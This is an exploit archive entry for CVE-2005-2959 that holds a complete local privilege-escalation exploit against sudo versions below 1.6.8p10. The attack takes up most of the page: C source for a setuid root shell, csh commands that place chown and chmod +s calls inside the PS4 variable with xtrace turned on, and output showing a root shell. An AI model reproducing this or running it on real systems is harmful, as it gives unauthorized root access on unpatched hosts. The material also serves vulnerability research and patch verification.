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sudo168p10.sh.txt

sudo168p10.sh.txt
Posted Nov 10, 2005
Authored by breno

Local root exploit for sudo versions below 1.6.8p10 that makes use of the environment cleaning flaws with the SHELLOPTS and PS4 variables.

tags | exploit, local, root
advisories | CVE-2005-2959
MD5 | 26689850763402295ae09b43b6f7fa81

sudo168p10.sh.txt

Change Mirror Download
exploit for adv :  http://www.securityfocus.com/bid/15191/info


## Sudo local root escalation privilege ##
## vuln versions : sudo < 1.6.8p10
## by breno

## You need sudo access execution for some bash script ##
## Use csh shell to change SHELLOPTS env ##

ie:
%cat x.sh
% cat x.sh
#!/bin/bash -x

echo "Getting root!!"
%
##

##
# cat /etc/shadow
...
breno ALL=(ALL) /home/breno/x.sh
..
#

## Let's use an egg shell :)
%cat egg.c

#include <stdio.h>

int main()
{
setuid(0);
system("/bin/sh");
}
%

% gcc -o egg egg.c
% setenv SHELLOPTS xtrace
% setenv PS4 '$(chown root:root egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ls -lisa egg
1198941 8 -rwxr-xr-x 1 root root 7428 2005-11-09 13:54 egg
% setenv PS4 '$(chmod +s egg)'
% sudo ./x.sh
echo Getting root!!
Getting root!!
% ./egg
sh-3.00# id
uid=0(root) gid=1000(breno) egid=0(root) grupos=7(lp),102(lpadmin),1000(breno)
sh-3.00#

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